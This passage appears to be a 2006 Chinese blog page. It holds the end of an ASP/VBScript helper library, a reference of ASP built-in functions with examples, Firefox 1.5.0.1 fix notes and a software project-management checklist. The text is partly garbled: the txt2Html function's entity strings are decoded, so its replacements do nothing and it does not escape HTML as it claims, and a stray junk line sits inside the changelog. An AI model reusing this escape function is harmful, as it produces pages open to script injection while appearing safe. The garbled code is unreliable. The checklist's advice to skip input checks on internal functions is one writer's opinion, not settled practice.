rtrimVBcrlf=rtrim(left(str,pos))
end function

'判断Email是否有效,返回1表示正确
Function isEmail(aEmail)
Dim iLocat,v,iLength,i,checkletter
If instr(aEmail,"@") = 0 or instr(aEmail,".") = 0 Then
isEmail=0
EXIT FUNCTION
End If
iLocat=instr(aEmail,"@")
If instr(iLocat,aEmail,".")=0 or instr(iLocat+1,aEmail,"@")>0 Then
isEmail=0
EXIT FUNCTION
End If
If left(aEmail,1)="." or right(aEmail,1)="." or left(aEmail,1)="@" or right(aEmail,1)="@" Then
isEmail=0
EXIT FUNCTION
End If
v="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-.@"
iLength=len(aEmail)
For i=1 To iLength
checkletter=mid(aEmail,i,1)
If instr(v,checkletter)=0 Then
isEmail=0
EXIT FUNCTION
End If
Next
isEmail=1
End Function

'测试用:显示服务器信息
Sub showServer
Dim name
Response.write "<Table border=1 bordercolor=lightblue CELLSPACING=0>"
for each name in request.servervariables
Response.write "<tr>"
Response.write "<td>"&name&"</td>"
Response.write "<td>"&request.servervariables(name)&"<br></td>"
Response.write "</tr>"
next
Response.write "</table>"
End Sub

'测试用:显示Rs结果集以及字段名称
Sub showRs(rs)
Dim strTable,whatever
Response.write "<center><table><tr>"
for each whatever in rs.fields
response.write "<td><b>" & whatever.name & "</B></TD>"
next
strTable = "</tr><tr><td>"&rs.GetString(,,"</td><td>","</tr><tr><td>"," ") &"</td></tr></table></center>"
Response.Write(strTable)
End Sub

'用HTML格式显示文本
Function txt2Html(str)
if isnull(str) then
txt2Html=""
exit Function
end if
str=Replace(str,chr(34),""")
str=Replace(str,"<","<")
str=Replace(str,">",">")
str=Replace(str,chr(13)+chr(10),"<br>")
str=Replace(str,chr(9)," ")
str=Replace(str," "," ")
txt2Html=str
End Function

'测试用:显示调试错误信息
Sub showError
Dim sErrMsg
sErrMsg=Err.Source&" "&Err.Description
Response.write "<center>"&sErrMsg&"</center>"
Err.clear
End Sub

'显示文字计数器
Sub showCounter
Dim fs,outfile,filename,count
filename=server.mappath("count.txt")
Set fs = CreateObject("Scripting.FileSystemObject")
If fs.fileExists(filename) Then
Set outfile=fs.openTextFile(filename,1)
count=outfile.readline
count=count+1
Response.write "<center>浏览人次:"&count&"<center>"
outfile.close
Set outfile=fs.CreateTextFile(filename)
outfile.writeline(count)
Else
Set outfile=fs.openTextFile(filename,8,TRUE)
count=0
outfile.writeline(count)
END IF
outfile.close
set fs=nothing
End Sub
%>

Array()
 FUNCTION: 返回一个数组
 SYNTAX: Array(list)
 ARGUMENTS: 字符,数字均可
 EXAMPLE: <%
Dim myArray()
For i = 1 to 7
  Redim Preserve myArray(i)
  myArray(i) = WeekdayName(i)
Next
%>
 RESULT: 建立了一个包含7个元素的数组myArray
myArray("Sunday","Monday", ... ... "Saturday")
 
CInt()
 FUNCTION: 将一个表达式转化为数字类型
 SYNTAX: CInt(expression)
 ARGUMENTS: 任何有效的字符均可
 EXAMPLE: <%
f = "234"
response.write cINT(f) + 2
%>
 RESULT: 236
转化字符"234"为数字"234",如果字符串为空,则返回0值 
 
CreateObject()
 FUNCTION: 建立和返回一个已注册的ACTIVEX组件的实例。
 SYNTAX: CreateObject(objName)
 ARGUMENTS: objName 是任何一个有效、已注册的ACTIVEX组件的名字.
 EXAMPLE: <%
Set con = Server.CreateObject("ADODB.Connection")
%>
 RESULT: 
 
CStr()
 FUNCTION: 转化一个表达式为字符串.
 SYNTAX: CStr(expression)
 ARGUMENTS: expression 是任何有效的表达式。
 EXAMPLE: <%
s = 3 + 2
response.write "The result is: " & cStr(s)
%>
 RESULT: 转化数字“5”为字符“5”。
 
Date()
 FUNCTION: 返回当前系统日期.
 SYNTAX: Date()
 ARGUMENTS: None.
 EXAMPLE: <%=Date%>
 RESULT: 8/4/99
 
DateAdd()
 FUNCTION: 返回一个被改变了的日期。
 SYNTAX: DateAdd(timeinterval,number,date)
 ARGUMENTS: timeinterval is the time interval to add; number is amount of
time intervals to add; and date is the starting date.
 EXAMPLE: <%
currentDate = #8/4/99#
newDate = DateAdd("m",3,currentDate)
response.write newDate
%>

<%
currentDate = #12:34:45 PM#
newDate = DateAdd("h",3,currentDate)
response.write newDate
%>
 RESULT: 11/4/99
3:34:45 PM

"m" = "month";
"d" = "day";

If currentDate is in time format then,
"h" = "hour";
"s" = "second";
 
DateDiff()
 FUNCTION: 返回两个日期之间的差值 。
 SYNTAX: DateDiff(timeinterval,date1,date2 [, firstdayofweek ][,
firstweekofyear]])
 ARGUMENTS: timeinterval 表示相隔时间的类型,如“M“表示“月”。
 EXAMPLE: <%
fromDate = #8/4/99#
toDate = #1/1/2000#
response.write "There are " & _
  DateDiff("d",fromDate,toDate) & _
  " days to millenium from 8/4/99."
%>
 RESULT: 从8/4/99 到2000年还有 150 天.
 
Day()
 FUNCTION: 返回一个月的第几日 .
 SYNTAX: Day(date)
 ARGUMENTS: date 是任何有效的日期。 
 EXAMPLE: <%=Day(#8/4/99#)%>
 RESULT: 4
 
FormatCurrency()
 FUNCTION: 返回表达式,此表达式已被格式化为货币值 
 SYNTAX: FormatCurrency(Expression [, Digit ][, LeadingDigit ][, Paren ][,
GroupDigit]]]])
 ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是
计算机的区域设置; LeadingDigit 三态常数,指示是否显示小数值小数点前面的
零。 
 EXAMPLE: <%=FormatCurrency(34.3456)%>
 RESULT: $34.35
 
FormatDateTime()
 FUNCTION: 返回表达式,此表达式已被格式化为日期或时间
 SYNTAX: FormatDateTime(Date, [, NamedFormat])
 ARGUMENTS: NamedFormat 指示所使用的日期/时间格式的数值,如果省略,则使用
vbGeneralDate.
 EXAMPLE: <%=FormatDateTime("08/4/99", vbLongDate)%>
 RESULT: Wednesday, August 04, 1999
 
FormatNumber()
 FUNCTION: 返回表达式,此表达式已被格式化为数值.
 SYNTAX: FormatNumber(Expression [, Digit ][, LeadingDigit ][, Paren ][,
GroupDigit]]]])
 ARGUMENTS: Digit 指示小数点右侧显示位数的数值。默认值为 -1,指示使用的是
计算机的区域设置。; LeadingDigit i指示小数点右侧显示位数的数值。默认值为 -
1,指示使用的是计算机的区域设置。; Paren 指示小数点右侧显示位数的数值。默认
值为 -1,指示使用的是计算机的区域设置。; GroupDigit i指示小数点右侧显示位数
的数值。默认值为 -1,指示使用的是计算机的区域设置。.
 EXAMPLE: <%=FormatNumber(45.324567, 3)%>
 RESULT: 45.325
 
FormatPercent()
 FUNCTION: 返回表达式,此表达式已被格式化为尾随有 % 符号的百分比(乘以
100 )。 (%)
 SYNTAX: FormatPercent(Expression [, Digit ][, LeadingDigit ][, Paren ][,
GroupDigit]]]])
 ARGUMENTS: 同上.
 EXAMPLE: <%=FormatPercent(0.45267, 3)%>
 RESULT: 45.267%
 
Hour()
 FUNCTION: 以24时返回小时数.
 SYNTAX: Hour(time)
 ARGUMENTS: 
 EXAMPLE: <%=Hour(#4:45:34 PM#)%>
 RESULT: 16
(Hour has been converted to 24-hour system)
 
Instr()
 FUNCTION: 返回字符或字符串在另一个字符串中第一次出现的位置.
 SYNTAX: Instr([start, ] strToBeSearched, strSearchFor [, compare])
 ARGUMENTS: Start为搜索的起始值,strToBeSearched接受搜索的字符串 
strSearchFor要搜索的字符.compare比较方式(详细见ASP常数)
 EXAMPLE: <%
strText = "This is a test!!"
pos = Instr(strText, "a")
response.write pos
%>
 RESULT: 9
 
InstrRev()
 FUNCTION: 同上,只是从字符串的最后一个搜索起
 SYNTAX: InstrRev([start, ] strToBeSearched, strSearchFor [, compare])
 ARGUMENTS: 同上.
 EXAMPLE: <%
strText = "This is a test!!"
pos = InstrRev(strText, "s")
response.write pos
%>
 RESULT: 13

 
Int()
 FUNCTION: 返回数值类型,不四舍五入,注意取值是不大于它的整数。
 SYNTAX: Int(number)
 ARGUMENTS: 
 EXAMPLE: <%=INT(32.89)%>  <%=int(-3.33)%>
 RESULT: 32  -4
 
IsArray()
 FUNCTION: 判断一对象是否为数组,返回布尔值 .
 SYNTAX: IsArray(name)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "Test!"
response.write IsArray(strTest)
%>
 RESULT: False
 
IsDate()
 FUNCTION: 判断一对象是否为日期,返回布尔值
 SYNTAX: IsDate(expression)
 ARGUMENTS: expression is any valid expression.
 EXAMPLE: <%
strTest = "8/4/99"
response.write IsDate(strTest)
%>
 RESULT: True
 
IsEmpty()
 FUNCTION: 判断一对象是否初始化,返回布尔值.
 SYNTAX: IsEmpty(expression)
 ARGUMENTS: 
 EXAMPLE: <%
Dim i
response.write IsEmpty(i)
%>
 RESULT: True
 
IsNull()
 FUNCTION: 判断一对象是否为空,返回布尔值.
 SYNTAX: IsNull(expression)
 ARGUMENTS: 
 EXAMPLE: <%
Dim i
response.write IsNull(i)
%>
 RESULT: False
 
IsNumeric()
 FUNCTION: 判断一对象是否为数字,返回布尔值.
 SYNTAX: IsNumeric(expression)
 ARGUMENTS: 
 EXAMPLE: <%
i = "345"
response.write IsNumeric(i)
%>
 RESULT: True
就算数字加了引号,ASP还是认为它是数字。
 
IsObject()
 FUNCTION: 判断一对象是否为对象,返回布尔值.
 SYNTAX: IsObject(expression)
 ARGUMENTS: 
 EXAMPLE: <%
Set con = Server.CreateObject("ADODB.Connection")
response.write IsObject(con)
%>
 RESULT: True
 
LBound()
 FUNCTION: 返回指定数组维的最小可用下标.
 SYNTAX: Lbound(arrayname [, dimension])
 ARGUMENTS: ; dimension 指明要返回哪一维下界的整数。使用 1 表示第一维,2
表示第二维,以此类推。如果省略 dimension 参数,默认值为 1.
 EXAMPLE: <%
i = Array("Monday","Tuesday","Wednesday")
response.write LBound(i)
%>
 RESULT: 0
 
LCase()
 FUNCTION:  返回字符串的小写形式
 SYNTAX: Lcase(string)
 ARGUMENTS: string is any valid string expression.
 EXAMPLE: <%
strTest = "This is a test!"
response.write LCase(strTest)
%>
 RESULT: this is a test!
 
Left()
 FUNCTION: 返回字符串左边第length个字符以前的字符(含第length个字符).
 SYNTAX: Left(string, length)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test!"
response.write Left(strTest, 3)
%>
 RESULT: Thi
 
Len()
 FUNCTION: 返回字符串的长度.
 SYNTAX: Len(string | varName)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test!"
response.write Len(strTest)
%>
 RESULT: 15
 
LTrim()
 FUNCTION: 去掉字符串左边的空格.
 SYNTAX: LTrim(string)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = " This is a test!"
response.write LTrim(strTest)
%>
 RESULT: This is a test!
 
Mid()
 FUNCTION: 返回特定长度的字符串(从start开始,长度为length).
 SYNTAX: Mid(string, start [, length])
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test! Today is Monday."
response.write Mid(strTest, 17, 5)
%>
 RESULT: Today
 
Minute()
 FUNCTION: 返回时间的分钏.
 SYNTAX: Minute(time)
 ARGUMENTS: 
 EXAMPLE: <%=Minute(#12:45:32 PM#)%>
 RESULT: 45
 
Month()
 FUNCTION: 返回日期.
 SYNTAX: Month(date)
 ARGUMENTS: date is any valid date expression.
 EXAMPLE: <%=Month(#08/04/99#)%>
 RESULT: 8
 
MonthName()
 FUNCTION: Returns a string identifying the specified month.
 SYNTAX: MonthName(month, [, Abb])
 ARGUMENTS: month is the numeric representation for a given month; Abb
(optional) is a boolean value used to display month abbreviation. True
will display the abbreviated month name and False (default) will not show
the abbreviation.
 EXAMPLE: <%=MonthName(Month(#08/04/99#))%>
 RESULT: August
 
Now()
 FUNCTION: Returns the current system date and time.
 SYNTAX: Now()
 ARGUMENTS: None
 EXAMPLE: <%=Now%>
 RESULT: 8/4/99 9:30:16 AM
 
Replace()
 FUNCTION: Returns a string in which a specified sub-string has been
replaced with another substring a specified number of times.
 SYNTAX: Replace(strToBeSearched, strSearchFor, strReplaceWith [, start
][, count ][, compare]]])
 ARGUMENTS: strToBeSearched is a string expression containing a sub-
string to be replaced; strSearchFor is the string expression to search for
within strToBeSearched; strReplaceWith is the string expression to replace
sub-string strSearchFor; start (optional) is the numeric character
position to begin search; count (optional) is a value indicating the
comparision constant.
 EXAMPLE: <%
strTest = "This is an apple!"
response.write Replace(strTest, "apple", "orange")
%>
 RESULT: This is an orange!
 
Right()
 FUNCTION: 返回字符串右边第length个字符以前的字符(含第length个字符).
 SYNTAX: Right(string, length)
 ARGUMENTS: .
 EXAMPLE: <%
strTest = "This is an test!"
response.write Right(strTest, 3)
%>
 RESULT: st!
 
Rnd()
 FUNCTION: 产生一个随机数.
 SYNTAX: Rnd [ (number) ]
 ARGUMENTS: 
 EXAMPLE: <%
Randomize()
response.write RND()
%>
 RESULT: 任何一个在0 到 1 之间的数
 
Round()
 FUNCTION: 返回按指定位数进行四舍五入的数值.
 SYNTAX: Round(expression [, numRight])
 ARGUMENTS: numRight数字表明小数点右边有多少位进行四舍五入。如果省略,则
Round 函数返回整数.
 EXAMPLE: <%
i = 32.45678
response.write Round(i)
%>
 RESULT: 32
 
Rtrim()
 FUNCTION: 去掉字符串右边的字符串.
 SYNTAX: Rtrim(string)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test!! "
response.write RTrim(strTest)
%>
 RESULT: This is a test!!
 
Second()
 FUNCTION: 返回秒.
 SYNTAX: Second(time)
 ARGUMENTS: .
 EXAMPLE: <%=Second(#12:34:28 PM#)%>
 RESULT: 28
 
StrReverse()
 FUNCTION: 反排一字符串
 SYNTAX: StrReverse(string)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test!!"
response.write StrReverse(strTest)
%>
 RESULT: !!tset a si sihT
 
Time()
 FUNCTION: 返回系统时间.
 SYNTAX: Time()
 ARGUMENTS: .
 EXAMPLE: <%=Time%>
 RESULT: 9:58:28 AM
 
Trim()
 FUNCTION: 去掉字符串左右的空格.
 SYNTAX: Trim(string)
 ARGUMENTS: string is any valid string expression.
 EXAMPLE: <%
strTest = " This is a test!! "
response.write Trim(strTest)
%>
 RESULT: This is a test!!
 
UBound()
 FUNCTION: 返回指定数组维数的最大可用下标.
 SYNTAX: Ubound(arrayname [, dimension])
 ARGUMENTS: ; dimension (optional) 指定返回哪一维上界的整数。1 表示第一
维,2 表示第二维,以此类推。如果省略 dimension 参数,则默认值为 1.
 EXAMPLE: <%
i = Array("Monday","Tuesday","Wednesday")
response.write UBound(i)
%>
 RESULT: 2
 
UCase()
 FUNCTION: 返回字符串的大写形式.
 SYNTAX: UCase(string)
 ARGUMENTS: 
 EXAMPLE: <%
strTest = "This is a test!!"
response.write UCase(strTest)
%>
 RESULT: THIS IS A TEST!!
 
VarType()
 FUNCTION: 返回指示变量子类型的值
 SYNTAX: VarType(varName)
 ARGUMENTS: 
 EXAMPLE: <%
i = 3
response.write varType(i)
%>
 RESULT: 2(数字)详见"asp常数"
 
WeekDay()
 FUNCTION: 返回在一周的第几天.
 SYNTAX: WeekDay(date [, firstdayofweek])
 ARGUMENTS: .
 EXAMPLE: <%
d = #8/4/99#
response.write Weekday(d)
%>
 RESULT: 4(星期三)
 
WeekDayName()
 FUNCTION: 返回一周第几天的名字.
 SYNTAX: WeekDayName(weekday [, Abb ][, firstdayofweek]])
 ARGUMENTS: Abb可选。Boolean 值,指明是否缩写表示星期各天的名称。如果省
略, 默认值为 False,即不缩写星期各天的名称.firstdayofweek指明星期第一天的
数值
 EXAMPLE: <%
d = #8/4/99#
response.write WeekdayName(Weekday(d))
%>
 RESULT: Wednesday
 
Year()
 FUNCTION: 返回当前的年份.
 SYNTAX: Year(date)
 ARGUMENTS: 
 EXAMPLE: <%=Year(#8/4/99#)%>
 RESULT: 1999
posted @ 2006-05-02 22:58 MEYE 阅读(366) | 评论 (0)编辑 收藏
昨天凌晨1:26分发布的release,还有更新得老长的列表,大家可以下载更新,不过看起来还没有中文版本出现.

  • Fixed: 319004 - Overlong page title causes hang on subsequent startups
  • Fixed: 312415 - Selected images (from a selection of the document to print) are black
  • Fixed: 319357 - Crash in browser when attempting to print a text selection
  • Fixed: 296907 - fill/stroke shouldn't destroy path
  • Fixed: 299343 - Can't copy and paste into the beginning of a line (Midas/designMode)
  • Fixed: 301678 - XML object parsed from string from flash throws permission denied error when accessed
  • Fixed: 309044 - Flashplayer 8 "Bad NPObject as private data!"
  • Fixed: 312550 - Incorrect wrapping in RTL textarea with horizontal scrollbar
  • Fixed: 316821 - Crash with moz-border-radius and small font-size
  • Fixed: 318489 - Unable to create new XMLHttpRequests and DOMParsers from an XPCNativeWrapped window (e.g. in a Greasemonkey script)
  • Fixed: 315434 - Security error with remote : can't switch tabs if chrome has focus
  • Fixed: 105894 - Clicking a partially off-screen link shouldn't scroll the page
  • Fixed: 314222 - If link target URL has non-ASCII char that is not encoded by UTF-8, the default file name is always escaped at "Save Link As..."

Y0HA-j |iGuest
  • Fixed: 315509 - Crash: array_unshift doesn't handle holes properly [@ js_DeleteProperty - array_unshift]
  • Fixed: 306067 - Crash involving autocomplete
  • Fixed: 320488 - Crash [@ nsSHistory::EvictWindowContentViewer]
  • Fixed: 313988 - [Mac 10.3] Positioned select drop-down doesn't work
  • Fixed: 298502 - [Mac 10.2] Empty pulldown menu and Firefox hangs
  • Fixed: 312154 - [Solaris] Start script does not take care of running instance

不过:要下载安装browser.xpi就可升级为1.5.0.1版本。。。http://ftp.osuosl.org/pub/mozilla.org/firefox/releases/1.5.0.1rc1/win32/xpi/windows-xpi/browser.xpi

posted @ 2006-05-02 22:55 MEYE 阅读(290) | 评论 (0)编辑 收藏

 1. 你们的项目组使用源代码管理工具了么?
    应该用。VSS、CVS、PVCS、ClearCase、CCC/Harvest、FireFly都可以。我的选择是VSS。

 2. 你们的项目组使用缺陷管理系统了么?
    应该用。ClearQuest太复杂,我的推荐是BugZilla。

 3. 你们的测试组还在用Word写测试用例么?
   不要用Word写测试用例(Test Case)。应该用一个专门的系统,可以是Test Manager,也可以是自己开发一个ASP.NET的小网站。主要目的是Track和Browse。

 4. 你们的项目组有没有建立一个门户网站?
  要有一个门户网站,用来放Contact Info、Baselined Schedule、News等等。推荐Sharepoint Portal Server 2003来实现,15分钟就搞定。买不起SPS 2003可以用WSS (Windows Sharepoint Service)。

 5. 你们的项目组用了你能买到最好的工具么?
  应该用尽量好的工具来工作。比如,应该用VS.NET而不是Notepad来写C#。用Notepad写程序多半只是一种炫耀。但也要考虑到经费,所以说是"你能买到最好的"。
 
 6. 你们的程序员工作在安静的环境里么?
  需要安静环境。这点极端重要,而且要保证每个人的空间大于一定面积。

 7. 你们的员工每个人都有一部电话么?需要每人一部电话。而且电话最好是带留言功能的。当然,上这么一套带留言电话系统开销不小。不过至少每人一部电话要有,千万别搞得经常有人站起来喊:"某某某电话"。《人件》里面就强烈谴责这种做法。

 8. 你们每个人都知道出了问题应该找谁么?
  应该知道。任何一个Feature至少都应该有一个Owner,当然,Owner可以继续Dispatch给其他人。

 9. 你遇到过有人说"我以为…"么?
  要消灭"我以为"。Never assume anything。

10. 你们的项目组中所有的人都坐在一起么?
  需要。我反对Virtual Team,也反对Dev在美国、Test在中国这种开发方式。能坐在一起就最好坐在一起,好处多得不得了。

11. 你们的进度表是否反映最新开发进展情况?
  应该反映。但是,应该用Baseline的方法来管理进度表:维护一份稳定的Schedule,再维护一份最新更改。Baseline的方法也应该用于其它的Spec。Baseline是变更管理里面的一个重要手段。

12. 你们的工作量是先由每个人自己估算的么?
  应该让每个人自己估算。要从下而上估算工作量,而不是从上往下分派。除非有其他原因,比如政治任务工期固定等。

13. 你们的开发人员从项目一开始就加班么?
  不要这样。不要一开始就搞疲劳战。从项目一开始就加班,只能说明项目进度不合理。当然,一些对日软件外包必须天天加班,那属于剥削的范畴。

14. 你们的项目计划中Buffer Time是加在每个小任务后面的么?
  不要。Buffer Time加在每个小任务后面,很容易轻易的就被消耗掉。Buffer Time要整段的加在一个Milestone或者checkpoint前面。

15. 值得再多花一些时间,从95%做到100%好值得,非常值得。
  尤其当项目后期人困马乏的时候,要坚持。这会给产品带来质的区别。

16. 登记新缺陷时,是否写清了重现步骤?
  要。这属于Dev和Test之间的沟通手段。面对面沟通需要,详细填写Repro Steps也需要。

17. 写新代码前会把已知缺陷解决么?
    要。每个人的缺陷不能超过10个或15个,否则必须先解决老的bug才能继续写新代码。

18. 你们对缺陷的轻重缓急有事先的约定么?
  必须有定义。Severity要分1、2、3,约定好:蓝屏和Data Lost算Sev 1,Function Error算Sev 2,界面上的算Sev 3。但这种约定可以根据产品质量现状适当进行调整。

19. 你们对意见不一的缺陷有三国会议么?
    必须要有。要有一个明确的决策过程。这类似于CCB (Change Control Board)的概念。

20. 所有的缺陷都是由登记的人最后关闭的么?
  Bug应该由Opener关闭。Dev不能私自关闭Bug。

21. 你们的程序员厌恶修改老的代码么?
  厌恶是正常的。解决方法是组织Code Review,单独留出时间来。XP也是一个方法。

22. 你们项目组有Team Morale Activity么?
  每个月都要搞一次,吃饭、唱歌、Outing、打球、开卡丁车等等,一定要有。不要剩这些钱。

23. 你们项目组有自己的Logo么?
  要有自己的Logo。至少应该有自己的Codename。

24. 你们的员工有印有公司Logo的T-Shirt么?
  要有。能增强归属感。当然,T-Shirt要做的好看一些,最好用80支的棉来做。别没穿几次就破破烂烂的。

25. 总经理至少每月参加次项目组会议要的。
  要让team member觉得高层关注这个项目。

26. 你们是给每个Dev开一个分支么?
  反对。Branch的管理以及Merge的工作量太大,而且容易出错。

27. 有人长期不Check-In代码么?
  不可以。对大部分项目来说,最多两三天就应该Check-In。

28. 在Check-In代码时都填写注释了么?
  要写的,至少一两句话,比如"解决了Bug No.225(给bug编号)"。如果往高处拔,这也算做"配置审计"的一部分。

29. 有没有设定每天Check-In的最后期限?
  要的,要明确Check-In Deadline。否则会Build Break。

30. 你们能把所有源码一下子编译成安装文件吗?
  要的。这是每日编译(Daily Build)的基础。而且必须要能够做成自动的。

31. 你们的项目组做每日编译么?
  当然要做。有三样东西是软件项目/产品开发必备的:1. bug management; 2. source control; 3. daily build。

32. 你们公司有没有积累一个项目风险列表?
  要。Risk Inventory。否则,下个项目开始的时候,又只能拍脑袋分析Risk了。

33. 设计越简单越好越简单越好。
  设计时候多一句话,将来可能就带来无穷无尽的烦恼。应该从一开始就勇敢的砍。这叫scope management。

34. 尽量利用现有的产品、技术、代码千万别什么东西都自己Coding。BizTalk和Sharepoint就是最好的例子,有这两个作为基础,可以把起点提高很多。或者可以尽量多用现成的Control之类的。或者尽量用XML,而不是自己去Parse一个文本文件;尽量用RegExp,而不是自己从头操作字符串,等等等等。这就是"软件复用"的体现。

35. 你们会隔一段时间就停下来夯实代码么?
  要。最好一个月左右一次。传言去年年初Windows组在Stevb的命令下停过一个月增强安全。Btw,"夯"这个字念"hang",第一声。

36. 你们的项目组每个人都写Daily Report么?
  要写。五分钟就够了,写10句话左右,告诉自己小组的人今天我干了什么。一则为了沟通,二则鞭策自己(要是游手好闲一天,自己都会不好意思写的)。

37. 你们的项目经理会发出Weekly Report么?
  要。也是为了沟通。内容包括目前进度,可能的风险,质量状况,各种工作的进展等。

38. 你们项目组是否至少每周全体开会一次?
  要。一定要开会。程序员讨厌开会,但每个礼拜开会时间加起来至少应该有4小时。包括team meeting, spec review meeting, bug triage meeting。千万别大家闷头写code。

39. 你们项目组的会议、讨论都有记录么?
  会前发meeting request和agenda,会中有人负责主持和记录,会后有人负责发meeting minutes,这都是effective meeting的要点。而且,每个会议都要形成agreements和action items。

40. 其他部门知道你们项目组在干什么么?
  要发一些Newsflash给整个大组织。Show your team's value。否则,当你坐在电梯里面,其他部门的人问:"你们在干嘛",你回答"ABC项目"的时候,别人全然不知,那种感觉不太好。

41. 通过Email进行所有正式沟通
  Email的好处是免得抵赖。但也要避免矫枉过正,最好的方法是先用电话和当面说,然后Email来确认。

42. 为项目组建立多个Mailing Group
  如果在AD+Exchange里面,就建Distribution List。比如,我会建ABC Project Core Team,ABC Project Dev Team,ABC Project All Testers,ABC Project Extended Team等等。这样发起Email来方便,而且能让该收到email的人都收到、不该收到不被骚扰。

43. 每个人都知道哪里可以找到全部的文档么?
  应该每个人都知道。这叫做知识管理(Knowledge Management)。最方便的就是把文档放在一个集中的File Share,更好的方法是用Sharepoint。

44. 你做决定、做变化时,告诉大家原因了么?
  要告诉大家原因。Empower team member的手段之一是提供足够的information,这是MSF一开篇的几个原则之一。的确如此,tell me why是人之常情,tell me why了才能有understanding。中国人做事喜欢搞限制,限制信息,似乎能够看到某一份文件的人就是有身份的人。大错特错。权威、权力,不在于是不是能access information/data,而在于是不是掌握资源。

45. Stay agile and expect change 要这样。
  需求一定会变的,已经写好的代码一定会被要求修改的。做好心理准备,对change不要抗拒,而是expect change。

46. 你们有没有专职的软件测试人员?
  要有专职测试。如果人手不够,可以peer test,交换了测试。千万别自己测试自己的。

47. 你们的测试有一份总的计划来规定做什么和怎么做么?
    这就是Test Plan。要不要做性能测试?要不要做Usability测试?什么时候开始测试性能?测试通过的标准是什么?用什么手段,自动的还是手动的?这些问题需要用Test Plan来回答。

48. 你是先写Test Case然后再测试的么?
  应该如此。应该先设计再编程、先test case再测试。当然,事情是灵活的。我有时候在做第一遍测试的同时补上test case。至于先test case再开发,我不喜欢,因为不习惯,太麻烦,至于别人推荐,那试试看也无妨。

49. 你是否会为各种输入组合创建测试用例?
  不要,不要搞边界条件组合。当心组合爆炸。有很多test case工具能够自动生成各种边界条件的组合--但要想清楚,你是否有时间去运行那么多test case。

50. 你们的程序员能看到测试用例么?
  要。让Dev看到Test Case吧。我们都是为了同一个目的走到一起来的:提高质量。

51. 你们是否随便抓一些人来做易用性测试?
  要这么做。自己看自己写的程序界面,怎么看都是顺眼的。这叫做审美疲劳--臭的看久了也就不臭了,不方便的永久了也就习惯了。

52. 你对自动测试的期望正确么?
  别期望太高。依我看,除了性能测试以外,还是暂时先忘掉"自动测试"吧,忘掉WinRunner和LoadRunner吧。对于国内的软件测试的现状来说,只能"矫枉必须过正"了。

53. 你们的性能测试是等所有功能都开发完才做的么?
  不能这样。性能测试不能被归到所谓的"系统测试"阶段。早测早改正,早死早升天。

54. 你注意到测试中的杀虫剂效应了么?
  虫子有抗药性,Bug也有。发现的新Bug越来越少是正常的。这时候,最好大家交换一下测试的area,或者用用看其他工具和手法,就又会发现一些新bug了。

55. 你们项目组中有人能说出产品的当前整体质量情况么?
  要有。当老板问起这个产品目前质量如何,Test Lead/Manager应该负责回答。

56. 你们有单元测试么?
  单元测试要有的。不过没有单元测试也不是不可以,我做过没有单元测试的项目,也做成功了--可能是侥幸,可能是大家都是熟手的关系。还是那句话,软件工程是非常实践、非常工程、非常灵活的一套方法,某些方法在某些情况下会比另一些方法好,反之亦然。

57. 你们的程序员是写完代码就扔过墙的么?
  大忌。写好一块程序以后,即便不做单元测试,也应该自己先跑一跑。虽然有了专门的测试人员,做开发的人也不可以一点测试都不做。微软还有Test Release Document的说法,程序太烂的话,测试有权踢回去。

58. 你们的程序中所有的函数都有输入检查么?
  不要。虽然说做输入检查是write secure code的要点,但不要做太多的输入检查,有些内部函数之间的参数传递就不必检查输入了,省点功夫。同样的道理,未必要给所有的函数都写注释。写一部分主要的就够了。

59. 产品有统一的错误处理机制和报错界面么?
  要有。最好能有统一的error message,然后每个error message都带一个error number。这样,用户可以自己根据error number到user manual里面去看看错误的具体描述和可能原因,就像SQL Server的错误那样。同样,ASP.NET也要有统一的Exception处理。可以参考有关的Application Block。

60. 你们有统一的代码书写规范么?
  要有。Code Convention很多,搞一份来发给大家就可以了。当然,要是有FxCop这种工具来检查代码就更好了。

61. 你们的每个人都了解项目的商业意义么?
  要。这是Vision的意思。别把项目只当成工作。有时候要想着自己是在为中国某某行业的信息化作先驱者,或者时不时的告诉team member,这个项目能够为某某某国家部门每年节省多少多少百万的纳税人的钱,这样就有动力了。平凡的事情也是可以有个崇高的目标的。

62. 产品各部分的界面和操作习惯一致么?
  要这样。要让用户觉得整个程序好像是一个人写出来的那样。

63. 有可以作为宣传亮点的Cool Feature么?
  要。这是增强团队凝聚力、信心的。而且,"一俊遮百丑",有亮点就可以掩盖一些问题。这样,对于客户来说,会感觉产品从质量角度来说还是acceptable的。或者说,cool feature或者说亮点可以作为质量问题的一个事后弥补措施。

64. 尽可能缩短产品的启动时间要这样。
  软件启动时间(Start-Up time)是客户对性能好坏的第一印象。

65. 不要过于注重内在品质而忽视了第一眼的外在印象程序员容易犯这个错误:太看重性能、稳定性、存储效率,但忽视了外在感受。而高层经理、客户正相反。这两方面要兼顾,协调这些是PM的工作。

66. 你们根据详细产品功能说明书做开发么?
  要这样。要有设计才能开发,这是必须的。设计文档,应该说清楚这个产品会怎么运行,应该采取一些讲故事的方法。设计的时候千万别钻细节,别钻到数据库、代码等具体实现里面去,那些是后面的事情,一步步来不能着急。

67. 开始开发和测试之前每个人都仔细审阅功能设计么?
  要做。Function Spec review是用来统一思想的。而且,review过以后形成了一致意见,将来再也没有人可以说"你看,当初我就是反对这么设计的,现在吃苦头了吧"

68. 所有人都始终想着The Whole Image么?要这样。项目里面每个人虽然都只是在制造一片叶子,但每个人都应该知道自己在制造的那片叶子所在的树是怎么样子的。我反对软件蓝领,反对过分的把软件制造看成流水线、车间。参见第61条。

69. Dev工作的划分是单纯纵向或横向的么?
  不能单纯的根据功能模块分,或者单纯根据表现层、中间层、数据库层分。我推荐这么做:首先根据功能模块分,然后每个"层"都有一个Owner来Review所有人的设计和代码,保证consistency。

70. 你们的程序员写程序设计说明文档么?
  要。不过我听说微软的程序员1999年以前也不写。所以说,写不写也不是绝对的,偷懒有时候也是可以的。参见第56条。

71. 你在招人面试时让他写一段程序么?
